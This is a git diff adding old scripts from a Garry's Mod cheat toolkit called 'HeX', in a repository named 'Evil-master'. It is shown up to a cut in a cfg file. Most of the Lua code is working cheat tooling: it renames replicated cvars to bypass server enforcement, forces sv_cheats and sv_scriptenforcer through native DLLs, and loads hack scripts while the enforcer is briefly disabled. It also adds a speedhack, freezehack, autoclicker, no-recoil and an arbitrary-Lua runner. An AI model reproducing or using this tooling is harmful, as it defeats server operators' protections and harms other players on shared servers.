Flags = tab[2] + local Help = tab[3] or false + + local Done = replicator.Replicate(cvar, NewName, Flags, Value) + + if not Done then + COLCON(RED, "Bypass", WHITE, ": ! FUCKUP, replicator error") + return + end + + if Help then + CreateConVar(cvar, Value, Flags, Help) + else + CreateConVar(cvar, Value, Flags) + end + + return NewName + end +end + + + +local function MsgDeReplicate(cvar,newname) + COLCON(RED, "Bypass:", WHITE, " Renamed ", BROWN, cvar, WHITE, " to ", GREEN, newname) +end + +local function ManualDeReplicate(ply,cmd,args) + if (#args > 0) then + local name = args[1] + local CVar = GetConVar(name):GetDefault() + + local Tab = { + CVar:GetDefault(), + replicator.GetFlags(name), + CVar:GetHelpText(), + } + + MsgDeReplicate(name, RenameCVar(name,Tab) ) + return + end + + local Total = 0 + for CVar,Tab in pairs(NowBypass) do + local NewName = RenameCVar(CVar,Tab) + + Total = Total + 1 + MsgDeReplicate(CVar,NewName) + end + COLCON(RED, "Bypass", WHITE, ": Renamed ", GREEN, "["..Total.."]", WHITE, " more CVars\n") +end +concommand.Add("hex_dereplicate", ManualDeReplicate) + + +local function AlwaysDeReplicate() + local Total = 0 + + for CVar,Tab in pairs(AlwaysBypass) do + local NewName = RenameCVar(CVar,Tab) + + Total = Total + 1 + MsgDeReplicate(CVar,NewName) + end + + COLCON(RED, "Bypass:", WHITE, " Renamed ", GREEN, "["..Total.."]", WHITE, " CVars\n") +end +timer.Simple(0, AlwaysDeReplicate) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_HeX.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_HeX.lua new file mode 100644 index 0000000..0656025 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_HeX.lua @@ -0,0 +1,214 @@ + +include("includes/compat.lua") +require("concommand") +require("cvars") +include("includes/util/model_database.lua") +include("includes/util/vgui_showlayout.lua") +include("includes/util/tooltips.lua") +include("includes/util/client.lua") + +local CreateClientConVar = CreateClientConVar +local GetConVarNumber = GetConVarNumber +local RunConsoleCommand = RunConsoleCommand +local GetConVar = GetConVar +local concommand = concommand +local timer = timer +local modules = 0 + +--if (#file.FindInLua("includes/modules/gm_hex_setter.dll") == 1) then --nice idea, doesnt work. + +require("hex_setter") +--package.loaded.hex_setter = nil +require("hexstring") +require("hexcmdcallcl") + +local function CheckSE() + SEEnabled = false + if GetConVar("sv_scriptenforcer"):GetInt() then + SEEnabled = GetConVar("sv_scriptenforcer"):GetInt() + end + return SEEnabled +end +local function CheckSVC() + return GetConVar("sv_cheats"):GetBool() +end + +concommand.Add("hex_force", function(ply,cmd,args) + if not HeXSetvar then + print("[HeX] gm_hex_setter.dll gone!") + return + end + + if (#args >= 2) then + HeXSetvar(CreateConVar(tostring(args[1]), ""),args[2]) + print("[HeX] "..args[1].." : "..GetConVarNumber(args[1]) ) + elseif (#args == 1) then + print("[HeX] "..args[1].." : "..GetConVarNumber(args[1]) ) + else + print("[HeX] No args dumbass") + end +end) + +concommand.Add("hex_se2", function(ply,cmd,args) + if CheckSE() then + RunConsoleCommand("hex_force","sv_scriptenforcer",0) + else + RunConsoleCommand("hex_force","sv_scriptenforcer",1) + end +end) +concommand.Add("hex_svc", function(ply,cmd,args) + if CheckSVC() then + RunConsoleCommand("hex_force","sv_cheats",0) + else + RunConsoleCommand("hex_force","sv_cheats",1) + end +end) + + +local HeXSpeedHackInt = CreateClientConVar("hex_speedint", 4, true, false) +local HeXSpeedEnabled = false + +local function HeXSpeedHack(ply,cmd,args) + if not HeXSetvar then + print("[HeX] gm_hex_setter.dll gone!") + return + elseif not CheckSVC() then + print("[HeX] cheats are off, use hex_svc to enable sv_cheats") + return + end + + if HeXSpeedEnabled then + HeXSetvar(CreateConVar("host_timescale",""), HeXSpeedHackInt:GetInt()) + HeXSpeedEnabled = !HeXSpeedEnabled + else + HeXSpeedEnabled = !HeXSpeedEnabled + HeXSetvar(CreateConVar("host_timescale",""), 1) + end +end +concommand.Add("hex_speedhack", HeXSpeedHack) + +local HeXFreezeHackInt = CreateClientConVar("hex_freezeint", 1500, true, false) +local HeXFreezeHackEnabled = false + +local function HeXFreezeHack(ply,cmd,args) + if not HeXSetvar then + print("[HeX] gm_hex_setter.dll gone!") + return + elseif not CheckSVC() then + print("[HeX] cheats are off, use hex_svc to enable sv_cheats") + return + end + + if HeXFreezeHackEnabled then + HeXSetvar(CreateConVar("host_framerate",""), HeXFreezeHackInt:GetInt()) + HeXFreezeHackEnabled = !HeXFreezeHackEnabled + else + HeXFreezeHackEnabled = !HeXFreezeHackEnabled + HeXSetvar(CreateConVar("host_framerate",""), 0) + end +end +concommand.Add("hex_freezehack", HeXFreezeHack) + + + +local HeXClickDelay = CreateClientConVar("hex_autoclicker_clicks", 0.02, true, false) +local HeXAutoClickEnabled = false +local function HeXAutoClicker(ply,cmd,args) + if HeXAutoClickEnabled then + HeXAutoClickEnabled = !HeXAutoClickEnabled + timer.Destroy("hex_autoclicker") + RunConsoleCommand("+attack") + timer.Simple(0.01, function() + RunConsoleCommand("-attack") + end) + else + HeXAutoClickEnabled = !HeXAutoClickEnabled + timer.Create("hex_autoclicker", HeXClickDelay:GetFloat(), 0, function() + HeXPressTheMouse() + end) + end +end +concommand.Add("hex_autoclicker", HeXAutoClicker) + +local bool = false +function HeXPressTheMouse() --FIXME, hackey + if not bool then + bool = true + else + bool = false + end + local pre = { + [true] = "+", + [false] = "-" + } + RunConsoleCommand(pre[bool].."attack") +end + +concommand.Add("lua_run_ml", function(ply,cmd,args) + if #args and #args != 0 then + local cock = "" + for k,arg in ipairs(args) do + cock = cock..string.gsub(arg,'"',"'") + end + print("! cock: ", cock) + + PrintTable(args) + local RawLua2Run = table.concat(args," ") + local Lua2Run = string.gsub(RawLua2Run,"'",'"') + print("Running lua: ",Lua2Run) + HeXString(Lua2Run) + return + end + print("You gotta have code to run code") +end) + +function HeXLRCL(str) + if not str then return end + + if HeXCommandCL then + HeXCommandCL(str) + else + print("[HeX] gmcl_hexcmdcallcl.dll gone!") + end +end + +concommand.Add("hex_loadhacks", function() + if CheckSE() then + RunConsoleCommand("hex_force","sv_scriptenforcer",0) + end + HeXLRCL("lua_openscript_cl hexloader.lua") + timer.Simple(2, function() + if SEEnabled then + RunConsoleCommand("hex_force","sv_scriptenforcer",SEEnabled) + end + end) +end) + +local HeXNSToggle = false +concommand.Add("hex_nospread_toggle", function() + if HeXNSToggle then + RunConsoleCommand("hex_nospread_kill") + HeXNSToggle = !HeXNSToggle + else + HeXNSToggle = !HeXNSToggle + RunConsoleCommand("hex_nospread_load") + end +end) + +local HeXVCollideEnabled = false +local function HeXVCollide(ply,cmd,args) + if not HeXSetvar then + print("[HeX] gm_hex_setter.dll gone!") + return + end + + if HeXVCollideEnabled then + HeXSetvar(CreateConVar("vcollide_wireframe",""), 0) + HeXVCollideEnabled = !HeXVCollideEnabled + else + HeXVCollideEnabled = !HeXVCollideEnabled + HeXSetvar(CreateConVar("vcollide_wireframe",""), 1) + end +end +concommand.Add("hex_vcollide", HeXVCollide) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_base_ColorConsole.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_base_ColorConsole.lua new file mode 100644 index 0000000..c043991 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_base_ColorConsole.lua @@ -0,0 +1,34 @@ + +--[[ + +also add to all other ml scripts +]] + + +if not console or package.loaded.console then + require("console") + console.RunCommand = nil --you better don't + console.LogPrint = nil --leave these functions enabled :O +end + +local col = Color(255,255,255) +local txt = "" +function COLCON(...) + for _,v in pairs({...}) do + txt = type(v) + if txt == "table" then + col = v + elseif txt == "string" then + console.Print(col,v) + end + end + console.Print(col,"\n") +end + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_downloadfilter old.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_downloadfilter old.lua new file mode 100644 index 0000000..0d019fb --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/ml_downloadfilter old.lua @@ -0,0 +1,131 @@ +require( "downloadfilter" ) + +local AvailableFilters = { "dua", "bsp", "wav", "ogg", "mp3", "txt", "mdl", "phy", "vtx", "vvd", "vtf", "vmt", "vcs", "ini", "jpg", "ani", "ttf"} +local ActiveFilters = {} + +if file.Exists( "downloadfilter/filters.txt" ) then + ActiveFilters = glon.decode( file.Read( "downloadfilter/filters.txt" ) ) +end + +local PANEL = {} + +surface.CreateFont( "Tahoma", 17, 1000, true, false, "LargeBold", false ) + +function PANEL:Init() + + self:Dock( TOP ) + self:DockMargin( 1, 1, 1, 0 ) + self:SetHeight( 32 ) + + self.alt = false + + self.Label = vgui.Create( "DLabel", self ) + self.Label:Dock( LEFT ) + self.Label:DockMargin( 16, 0, 0, 0 ) + self.Label:SetWidth( 300 ) + self.Label:SetFont( "LargeBold" ) + self.Label:SetExpensiveShadow( 1, Color( 0, 0, 0, 130 ) ) + + self.CheckBox = vgui.Create( "DCheckBox", self ) + self.CheckBox:Dock( RIGHT ) + self.CheckBox:SetWidth( 16 ) + self.CheckBox:DockMargin( 10, 8, 10, 8 ) +end + +function PANEL:Setup( ext, rowid, bool ) + + self.alt = math.fmod( rowid, 2 ) == 1 + self.available = true + self.Label:SetText( ext ) + self.CheckBox:SetValue( bool ) + function self.CheckBox.OnChange( checkbox, val ) + self:UpdateColor() + ActiveFilters[ ext ] = val + file.Write( "downloadfilter/filters.txt", glon.encode( ActiveFilters ) ) + end + self:UpdateColor() +end + +function PANEL:PerformLayout() + self:UpdateColor() +end + +function PANEL:UpdateColor() + + self.Label:SetAlpha( 255 ) + self.Label:SetColor( Color( 255, 255, 255, 255 ) ) + + if ( !self.CheckBox:GetChecked() || !self.available ) then + self:SetBackgroundColor( Color( 100, 100, 100, 255 ) ) + self.Label:SetColor( Color( 255, 255, 255, 255 ) ) + self.Label:SetAlpha( 100 ) + elseif ( self.alt ) then + self:SetBackgroundColor( Color( 163, 163, 163, 255 ) ) + else + self:SetBackgroundColor( Color( 185, 185, 185, 255 ) ) + end + +end +local pnlRow = vgui.RegisterTable( PANEL, "DPanel" ) +local PANEL = {} + +function PANEL:Init() + + self:EnableVerticalScrollbar() + self:SetPadding( 1 ) + self:DockMargin( 8, 8, 8, 8 ) + + local label = Label( "Check an extension to allow these file types", self ) + label:Dock( BOTTOM ) + label:SetContentAlignment( 5 ) + label:SetColor( Color( 255, 30, 30 ) ) + local savedval = true + for k, v in SortedPairs( AvailableFilters ) do + local row = vgui.CreateFromTable( pnlRow, self ) + self:AddItem( row ) + savedval = ActiveFilters[ v ] + row:Setup( v, k - 1, savedval ) + end + + self:Dock( FILL ) + +end + +local pnlDFilter = vgui.RegisterTable( PANEL, "DScrollPanel" ) + +function debug.getupvalues( f ) + local t, i, k, v = {}, 1, debug.getupvalue( f, 1 ) + while k do + t[k] = v + i = i+1 + k,v = debug.getupvalue( f, i ) + end + return t +end + +local ExtensionsCMD = debug.getupvalues( concommand.Run ).CommandList["menu_extensions"] +ExtensionsCMD() +local extensionspanel = debug.getupvalues( ExtensionsCMD ).Extensions + +local DownloadFilter = vgui.CreateFromTable( pnlDFilter ) + +if IsValid( extensionspanel ) then --HACK RIGHT INTO THAT BITCH + extensionspanel.PropertySheet:AddSheet( Localize( "Download Filter" ), DownloadFilter, "gui/silkicons/page" ) + extensionspanel:PerformLayout() + extensionspanel:SetVisible( false ) + +else --Made just for you garry. + Derma_Message( "WARNING: Unable to get extensions panel.\nThis may have been caused by an update that removed this functionality.\nPlease check for updates for mod ( \"Advanced Download Filter\" )", "ERROR: No extensions" ) +end + +hook.Add( "ShouldDownload", "DownloadFilter", function(filename) + local ShouldDownload = ActiveFilters[ string.GetExtensionFromFilename(filename:gsub(".bz2","")) ] + if ShouldDownload then + Msg("[DL] Downloading: "..filename.."\n") + else + Msg("[DL] NOT Downloading: "..filename.."\n") + end + return ShouldDownload +end) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/nSkidCheck.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/nSkidCheck.lua new file mode 100644 index 0000000..b2c72be --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/nSkidCheck.lua @@ -0,0 +1,11 @@ + + +for sid,tab in pairs(SHers) do + local Log = "lol/"..sid:gsub(":", "_")..".txt" + + if not file.Exists(Log) then + file.Write(Log, Format("SH\n%s\nSkidCheck\n", (tab.Name or "None")) ) + end + print("! saved") +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/norecoil/norecoil.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/norecoil/norecoil.lua new file mode 100644 index 0000000..6d078d9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/norecoil/norecoil.lua @@ -0,0 +1,30 @@ +print("! HeXNoRecoil loaded") + +local HeXNoRecoilEnabled = true + +local function HeXNoRecoilToggle(ply,cmd,args) + if HeXNoRecoilEnabled then + HeXNoRecoilEnabled = false + GAMEMODE:AddNotify("Recoil enabled", NOTIFY_GENERIC, 3) + print("! Recoil enabled") + else + HeXNoRecoilEnabled = true + GAMEMODE:AddNotify("Recoil disabled.", NOTIFY_GENERIC, 4) + print("! Recoil disabled") + end +end +concommand.Add("hex_togglerecoil", HeXNoRecoilToggle) + +local function HeXNoRecoil() + if HeXNoRecoilEnabled then + if ValidEntity(LocalPlayer():GetActiveWeapon()) and (LocalPlayer():GetActiveWeapon().Primary and LocalPlayer():GetActiveWeapon().Primary.Recoil != 0) then + LocalPlayer():GetActiveWeapon().OldRecoil = LocalPlayer():GetActiveWeapon().Recoil or (LocalPlayer():GetActiveWeapon().Primary and LocalPlayer():GetActiveWeapon().Primary.Recoil) + LocalPlayer():GetActiveWeapon().Recoil = 0 + LocalPlayer():GetActiveWeapon().Primary.Recoil = 0 + end + elseif ValidEntity(LocalPlayer():GetActiveWeapon()) and (LocalPlayer():GetActiveWeapon().Primary and LocalPlayer():GetActiveWeapon().Primary.Recoil == 0) and LocalPlayer():GetActiveWeapon().OldRecoil then + LocalPlayer():GetActiveWeapon().Recoil = LocalPlayer():GetActiveWeapon().OldRecoil + LocalPlayer():GetActiveWeapon().Primary.Recoil = LocalPlayer():GetActiveWeapon().OldRecoil + end +end +hook.Add("Think", "HeXNoRecoil", HeXNoRecoil) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi color.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi color.lua new file mode 100644 index 0000000..6e7389e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi color.lua @@ -0,0 +1,15 @@ + + + for k,v in pairs( file.FindInLua("custom_menu/ml_base_*.lua") ) do --include base modules + include("custom_menu/"..v) + table.insert(DontLoadAgain, v) + COLCON( GREEN, " CMI " , CMIColor, "Loaded ", PINK, "Base ", CMIColor, "Module", WHITE, ": "..v ) + end + + for k,v in pairs( file.FindInLua("custom_menu/ml_*.lua") ) do --include modules + if not table.HasValue(DontLoadAgain, v) then + include("custom_menu/"..v) + COLCON( GREEN, " CMI " , CMIColor, "Loaded Module", WHITE, ": "..v ) + end + end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi load.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi load.lua new file mode 100644 index 0000000..a736e7d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old cmi load.lua @@ -0,0 +1,19 @@ + + for k,v in pairs( file.FindInLua("custom_menu/*.lua") ) do + if v:sub(1,5) == "ml_B_" then --include base modules first + COLCON( CMIColor, " Loading ", PINK, "Base", WHITE, ": "..v ) + include("custom_menu/"..v) + + elseif v:sub(1,5) == "ml_H_" then --include hack modules + COLCON( CMIColor, " Loading ", RED, "Hack", WHITE, ": "..v ) + include("custom_menu/"..v) + + + elseif v:sub(1,3) == "ml_" then --include modules + COLCON( CMIColor, " Loading ", GREEN, "Module", WHITE, ": "..v ) + include("custom_menu/"..v) + end + end + + + \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old ml.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old ml.lua new file mode 100644 index 0000000..aa1316e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old ml.lua @@ -0,0 +1,67 @@ + + +CVarToString = { + [FCVAR_UNREGISTERED] = "FCVAR_UNREGISTERED", + [FCVAR_GAMEDLL] = "FCVAR_GAMEDLL", + [FCVAR_CLIENTDLL] = "FCVAR_CLIENTDLL", + [FCVAR_PROTECTED] = "FCVAR_PROTECTED", + [FCVAR_SPONLY] = "FCVAR_SPONLY", + [FCVAR_ARCHIVE] = "FCVAR_ARCHIVE", + [FCVAR_NOTIFY] = "FCVAR_NOTIFY", + [FCVAR_USERINFO] = "FCVAR_USERINFO", + [FCVAR_PRINTABLEONLY] = "FCVAR_PRINTABLEONLY", + [FCVAR_UNLOGGED] = "FCVAR_UNLOGGED", + [FCVAR_NEVER_AS_STRING] = "FCVAR_NEVER_AS_STRING", + [FCVAR_REPLICATED] = "FCVAR_REPLICATED", + [FCVAR_CHEAT] = "FCVAR_CHEAT", + [FCVAR_DEMO] = "FCVAR_DEMO", + [FCVAR_DONTRECORD] = "FCVAR_DONTRECORD", + [FCVAR_NOT_CONNECTED] = "FCVAR_NOT_CONNECTED", + [FCVAR_ARCHIVE_XBOX] = "FCVAR_ARCHIVE_XBOX", + [FCVAR_SERVER_CAN_EXECUTE] = "FCVAR_SERVER_CAN_EXECUTE", + [FCVAR_SERVER_CANNOT_QUERY] = "FCVAR_SERVER_CANNOT_QUERY", + [FCVAR_CLIENTCMD_CAN_EXECUTE] = "FCVAR_CLIENTCMD_CAN_EXECUTE", +} + + + + +local HeXVCollideEnabled = false +local function HeXVCollide(ply,cmd,args) + if HeXVCollideEnabled then + HeXSetvar(CreateConVar("vcollide_wireframe",""), "0") + HeXVCollideEnabled = !HeXVCollideEnabled + else + HeXVCollideEnabled = !HeXVCollideEnabled + HeXSetvar(CreateConVar("vcollide_wireframe",""), "1") + end +end +concommand.Add("hex_vcollide", HeXVCollide) + + +concommand.Add("hex_force", function(ply,cmd,args) + if (#args >= 2) then + HeXSetvar(CreateConVar(tostring(args[1]), ""),args[2]) + print("[HeX] "..args[1].." : "..GetConVarNumber(args[1]) ) + elseif (#args == 1) then + print("[HeX] "..args[1].." : "..GetConVarNumber(args[1]) ) + else + print("[HeX] No args dumbass") + end +end) + + + + +concommand.Add("hex_svc", function(ply,cmd,args) + if CheckSVC() then + RunConsoleCommand("hex_force","sv_cheats",0) + else + RunConsoleCommand("hex_force","sv_cheats",1) + end +end) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old/ml_downloadfilter.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old/ml_downloadfilter.lua new file mode 100644 index 0000000..0d019fb --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/old/ml_downloadfilter.lua @@ -0,0 +1,131 @@ +require( "downloadfilter" ) + +local AvailableFilters = { "dua", "bsp", "wav", "ogg", "mp3", "txt", "mdl", "phy", "vtx", "vvd", "vtf", "vmt", "vcs", "ini", "jpg", "ani", "ttf"} +local ActiveFilters = {} + +if file.Exists( "downloadfilter/filters.txt" ) then + ActiveFilters = glon.decode( file.Read( "downloadfilter/filters.txt" ) ) +end + +local PANEL = {} + +surface.CreateFont( "Tahoma", 17, 1000, true, false, "LargeBold", false ) + +function PANEL:Init() + + self:Dock( TOP ) + self:DockMargin( 1, 1, 1, 0 ) + self:SetHeight( 32 ) + + self.alt = false + + self.Label = vgui.Create( "DLabel", self ) + self.Label:Dock( LEFT ) + self.Label:DockMargin( 16, 0, 0, 0 ) + self.Label:SetWidth( 300 ) + self.Label:SetFont( "LargeBold" ) + self.Label:SetExpensiveShadow( 1, Color( 0, 0, 0, 130 ) ) + + self.CheckBox = vgui.Create( "DCheckBox", self ) + self.CheckBox:Dock( RIGHT ) + self.CheckBox:SetWidth( 16 ) + self.CheckBox:DockMargin( 10, 8, 10, 8 ) +end + +function PANEL:Setup( ext, rowid, bool ) + + self.alt = math.fmod( rowid, 2 ) == 1 + self.available = true + self.Label:SetText( ext ) + self.CheckBox:SetValue( bool ) + function self.CheckBox.OnChange( checkbox, val ) + self:UpdateColor() + ActiveFilters[ ext ] = val + file.Write( "downloadfilter/filters.txt", glon.encode( ActiveFilters ) ) + end + self:UpdateColor() +end + +function PANEL:PerformLayout() + self:UpdateColor() +end + +function PANEL:UpdateColor() + + self.Label:SetAlpha( 255 ) + self.Label:SetColor( Color( 255, 255, 255, 255 ) ) + + if ( !self.CheckBox:GetChecked() || !self.available ) then + self:SetBackgroundColor( Color( 100, 100, 100, 255 ) ) + self.Label:SetColor( Color( 255, 255, 255, 255 ) ) + self.Label:SetAlpha( 100 ) + elseif ( self.alt ) then + self:SetBackgroundColor( Color( 163, 163, 163, 255 ) ) + else + self:SetBackgroundColor( Color( 185, 185, 185, 255 ) ) + end + +end +local pnlRow = vgui.RegisterTable( PANEL, "DPanel" ) +local PANEL = {} + +function PANEL:Init() + + self:EnableVerticalScrollbar() + self:SetPadding( 1 ) + self:DockMargin( 8, 8, 8, 8 ) + + local label = Label( "Check an extension to allow these file types", self ) + label:Dock( BOTTOM ) + label:SetContentAlignment( 5 ) + label:SetColor( Color( 255, 30, 30 ) ) + local savedval = true + for k, v in SortedPairs( AvailableFilters ) do + local row = vgui.CreateFromTable( pnlRow, self ) + self:AddItem( row ) + savedval = ActiveFilters[ v ] + row:Setup( v, k - 1, savedval ) + end + + self:Dock( FILL ) + +end + +local pnlDFilter = vgui.RegisterTable( PANEL, "DScrollPanel" ) + +function debug.getupvalues( f ) + local t, i, k, v = {}, 1, debug.getupvalue( f, 1 ) + while k do + t[k] = v + i = i+1 + k,v = debug.getupvalue( f, i ) + end + return t +end + +local ExtensionsCMD = debug.getupvalues( concommand.Run ).CommandList["menu_extensions"] +ExtensionsCMD() +local extensionspanel = debug.getupvalues( ExtensionsCMD ).Extensions + +local DownloadFilter = vgui.CreateFromTable( pnlDFilter ) + +if IsValid( extensionspanel ) then --HACK RIGHT INTO THAT BITCH + extensionspanel.PropertySheet:AddSheet( Localize( "Download Filter" ), DownloadFilter, "gui/silkicons/page" ) + extensionspanel:PerformLayout() + extensionspanel:SetVisible( false ) + +else --Made just for you garry. + Derma_Message( "WARNING: Unable to get extensions panel.\nThis may have been caused by an update that removed this functionality.\nPlease check for updates for mod ( \"Advanced Download Filter\" )", "ERROR: No extensions" ) +end + +hook.Add( "ShouldDownload", "DownloadFilter", function(filename) + local ShouldDownload = ActiveFilters[ string.GetExtensionFromFilename(filename:gsub(".bz2","")) ] + if ShouldDownload then + Msg("[DL] Downloading: "..filename.."\n") + else + Msg("[DL] NOT Downloading: "..filename.."\n") + end + return ShouldDownload +end) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/ammo.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/ammo.cfg new file mode 100644 index 0000000..5da8dbb --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/ammo.cfg @@ -0,0 +1,34 @@ +wait + +ent_create item_rpg_round +wait +ent_create item_rpg_round +wait +ent_create item_rpg_round +wait +ent_create item_rpg_round +wait +ent_create item_rpg_round +wait +ent_create item_rpg_round +wait + + +ent_create item_ammo_smg1_large +wait +ent_create item_ammo_smg1_large +wait +ent_create item_ammo_smg1_large +wait +ent_create item_ammo_smg1_large +wait + +wait +ent_create item_ammo_smg1_grenade +wait +ent_create item_ammo_smg1_grenade +wait +ent_create item_ammo_smg1_grenade +wait +ent_create item_ammo_smg1_grenade +wait diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/barrels.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/barrels.cfg new file mode 100644 index 0000000..3d819c9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/barrels.cfg @@ -0,0 +1,76 @@ +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait +Prop_physics_create props_c17/oildrum001_explosive.mdl +wait diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/bigbadaboom.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/bigbadaboom.cfg new file mode 100644 index 0000000..1f3c928 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/bigbadaboom.cfg @@ -0,0 +1,4 @@ +Prop_physics_create props_c17/oildrum001_explosive.mdl + +ent_create grenade_ar2 + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/build.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/build.cfg new file mode 100644 index 0000000..f131412 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/build.cfg @@ -0,0 +1,8 @@ +wait +ulx rcon sbox_godmode 1 +wait +ulx rcon sbox_noclip 1 +wait +ulx rcon sbox_maxnpcs 0 +wait +wait diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/dm.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/dm.cfg new file mode 100644 index 0000000..d61f0f1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/dm.cfg @@ -0,0 +1,8 @@ +wait +ulx rcon sbox_godmode 0 +wait +ulx rcon sbox_noclip 0 +wait +ulx rcon sbox_maxnpcs 4 +wait +wait diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/firstcfg.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/firstcfg.cfg new file mode 100644 index 0000000..63a8219 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/firstcfg.cfg @@ -0,0 +1,9 @@ +bind "9" "ent_fire !picker break" +bind "b" "buddha" +bind "g" "stopsounds" +bind "i" "sv_cheats 1" +bind "k" "kill" +bind "n" "impulse 101" +bind "\" "+zoom" +bind "HOME" "firstperson" +bind "END" "thirdperson" diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/health.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/health.cfg new file mode 100644 index 0000000..0e5784d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/health.cfg @@ -0,0 +1,23 @@ +wait +ent_create item_healthkit +wait +ent_create item_healthkit +wait +ent_create item_healthkit +wait +ent_create item_healthkit +wait +ent_create item_battery +wait +ent_create item_battery +wait +ent_create item_battery +wait +ent_create item_battery +wait +ent_create item_battery +wait +ent_create item_battery +wait +ent_create item_battery +wait diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/lol.cfg b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/oldcfg/lol.cfg new file mode 100644 index 0000000..7e68a66 --- /dev/null +++ 